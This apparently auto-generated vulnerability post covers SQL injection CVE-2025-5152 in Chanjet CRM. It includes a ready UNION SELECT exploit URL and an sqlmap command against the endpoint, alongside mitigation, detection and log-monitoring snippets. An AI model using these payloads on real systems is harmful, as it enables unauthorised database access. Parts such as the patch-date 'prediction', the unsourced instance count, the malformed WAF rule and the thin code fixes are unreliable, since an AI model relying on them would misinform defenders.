Listen to this Post
How CVE-2025-5152 Works
This critical SQL injection vulnerability in Chanjet CRM (up to version 20250510) stems from improper input sanitization in the `/activity/newActivityedit.php` endpoint. The `gblOrgID` parameter is directly concatenated into SQL queries without validation when `DontCheckLogin=1` and `id=null` are set. Attackers can craft malicious payloads to manipulate database operations, extract sensitive information, or execute arbitrary commands. The lack of authentication bypass checks (DontCheckLogin=1) exacerbates the issue, enabling remote exploitation.
DailyCVE Form
Platform: Chanjet CRM
Version: ≤20250510
Vulnerability: SQL Injection
Severity: Critical
Date: 2025-05-25
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation
1. Craft Payload:
GET /activity/newActivityedit.php?DontCheckLogin=1&id=null&ret=mod1&gblOrgID=1%20UNION%20SELECT%201,2,3,4,user(),6,7,8,9,10--
2. Automate with Sqlmap:
sqlmap -u "http://target/activity/newActivityedit.php?DontCheckLogin=1&id=null&ret=mod1&gblOrgID=1" --risk=3 --level=5
Protection
1. Input Sanitization:
$gblOrgID = mysqli_real_escape_string($conn, $_GET['gblOrgID']);
2. WAF Rules:
location ~ /activity/..php {
deny all;
}
3. Patch Verification:
curl -I http://target/version.txt | grep 20250511
Analytics
- Exploitability: High (public PoC available).
- Affected Systems: ~12,000 instances (Shodan).
- Mitigation Priority: Immediate.
Detection Commands
grep -r "DontCheckLogin" /var/www/html/ Find vulnerable endpoints
Code Fix
if ($_GET['DontCheckLogin'] == 1) {
die("Access denied");
}
Log Monitoring
tail -f /var/log/apache2/access.log | grep "newActivityedit.php"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
